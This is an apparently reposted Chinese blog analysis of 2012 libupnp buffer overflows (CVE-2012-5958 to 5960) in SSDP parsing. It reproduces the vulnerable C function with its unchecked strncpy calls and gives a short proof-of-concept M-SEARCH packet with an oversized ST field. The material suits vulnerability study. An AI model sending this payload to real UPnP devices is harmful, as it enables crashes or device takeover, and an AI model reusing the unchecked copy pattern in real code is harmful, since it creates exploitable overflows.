libUpnp缓冲区溢出拒绝服务等漏洞分析

Posted XuepengZ

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了libUpnp缓冲区溢出拒绝服务等漏洞分析相关的知识,希望对你有一定的参考价值。

该漏洞存在于UPnP™设备的便携式SDK中,也叫做 libupnp。这个库是用来实现媒体播放(DLAN)或者NAT地址转换(UPnP IGD)。智能手机上的应用程序可用这些功能播放媒体文件或者利用用户的家庭网络连接到其他的设备。

 

事实上,这些漏洞早在2012年12月份就已经修复了,然而仍然有很多app在使用存在漏洞的老版本SDK。统计发现有547个应用还在使用老版本的 libupnp,其中326个可从谷歌Play store中下载到,包括Netflix和腾讯QQ音乐。这些都是非常流行的应用,用户达百万,也就是说有数百万的用户还存在被攻击的可能性。另外,除了移动设备,路由器和智能电视也在之列。

漏洞利用

该漏洞存在于 libupnp库处理简单服务发现协议(SSDP)包过程中。该协议是 Universal Plug N’ Play (UPnP)标准的部分。在处理进程中会出现堆栈溢出,并且需要UDP1900端口打开。

一个精心制作的包可造成缓冲区溢出,如下图中的代码,TempBuf 缓冲可溢出,并造成死机。

进一步的研究发现,它不仅能造成死机,还可以在受害者设备上运行任意代码。如此以来,攻击者便可能会完全掌控受害者设备。

漏洞代码如下:

// version 1.6.17
 // cmd变量接收外部输入
 // 结构体Evt包含多个固定长度的缓冲区
 int unique_service_name(char *cmd, SsdpEvent *Evt) 
{ 
    char TempBuf[COMMAND_LEN]; 
    char *TempPtr = NULL; 
    char *Ptr = NULL; 
    char *ptr1 = NULL;
    char *ptr2 = NULL; 
    char *ptr3 = NULL; 
    int CommandFound = 0; 
    size_t n = (size_t)0; 
    if (strstr(cmd, "uuid:schemas") != NULL)
    { 
        ptr1 = strstr(cmd, ":device"); 
        if (ptr1 != NULL) 
            ptr2 = strstr(ptr1 + 1, ":"); 
        else 
            return -1; 
        if (ptr2 != NULL) 
            ptr3 = strstr(ptr2 + 1, ":"); 
        else 
            return -1; 
        if (ptr3 != NULL) 
        { 
            if (strlen("uuid:") + strlen(ptr3 + 1) >= sizeof(Evt->UDN)) 
                return -1; 
            snprintf(Evt->UDN, sizeof(Evt->UDN), "uuid:%s", ptr3 + 1); 
        } 
        else 
            return -1;
        ptr1 = strstr(cmd, ":"); 
        if (ptr1 != NULL) 
        { 
            n = (size_t)ptr3 - (size_t)ptr1; 
            strncpy(TempBuf, ptr1, n);                            // CVE-2012-5958
            TempBuf[n] = \'\\0\'; 
            if (strlen("urn") + strlen(TempBuf) >= sizeof(Evt->DeviceType)) 
                return -1; 
            snprintf(Evt->DeviceType, sizeof(Evt->DeviceType), "urn%s", TempBuf); 
        } 
        else 
            return -1; 
        return 0; 
    } 
    if ((TempPtr = strstr(cmd, "uuid")) != NULL) 
    { 
        if ((Ptr = strstr(cmd, "::")) != NULL) 
        { 
            n = (size_t)Ptr - (size_t)TempPtr; 
            strncpy(Evt->UDN, TempPtr, n);                        // CVE-2012-5959
            Evt->UDN[n] = \'\\0\'; 
        }
        else 
        {
            memset(Evt->UDN, 0, sizeof(Evt->UDN)); 
            strncpy(Evt->UDN, TempPtr, sizeof(Evt->UDN) - 1); 
        } 
        CommandFound = 1; 
    } 
    if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":service:") != NULL) 
    { 
        if ((TempPtr = strstr(cmd, "urn")) != NULL) 
        { 
            memset(Evt->ServiceType, 0, sizeof(Evt->ServiceType)); 
            strncpy(Evt->ServiceType, TempPtr, sizeof(Evt->ServiceType) - 1);
            CommandFound = 1; 
        } 
    }
    if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":device:") != NULL) 
    { 
        if ((TempPtr = strstr(cmd, "urn")) != NULL) 
        { 
            memset(Evt->DeviceType, 0, sizeof(Evt->DeviceType)); 
            strncpy(Evt->DeviceType, TempPtr, sizeof(Evt->DeviceType) - 1); 
            CommandFound = 1; 
        } 
    } 
    if ((TempPtr = strstr(cmd, "::upnp:rootdevice")) != NULL) 
    { 
        /* Everything before "::upnp::rootdevice" is the UDN. */ 
        if (TempPtr != cmd) 
        { 
            n = (size_t)TempPtr - (size_t)cmd; 
            strncpy(Evt->UDN, cmd, n);                            // CVE-2012-5960
            Evt->UDN[n] = 0; 
            CommandFound = 1; 
        } 
    } 
    if (CommandFound == 0) 
        return -1; 
    return 0; 
}

Poc脚本如下:

M-SEARCH * HTTP/1.1
 Host:239.255.255.250:1900 
ST:uuid:schemas:device:AAAA[…]AAAA:anything 
Man:"ssdp:discover" 
MX:3

 

以上是关于libUpnp缓冲区溢出拒绝服务等漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

FreeType 2.4.9之前版本多个远程漏洞(CVE-2012-1130)

FreeType 2.4.9之前版本多个远程漏洞(CVE-2012-1126)

FreeType 2.4.9之前版本多个远程漏洞(CVE-2012-1131)

缓冲区溢出漏洞实验

20165318 缓冲区溢出漏洞实验

20165315 缓冲区溢出漏洞实验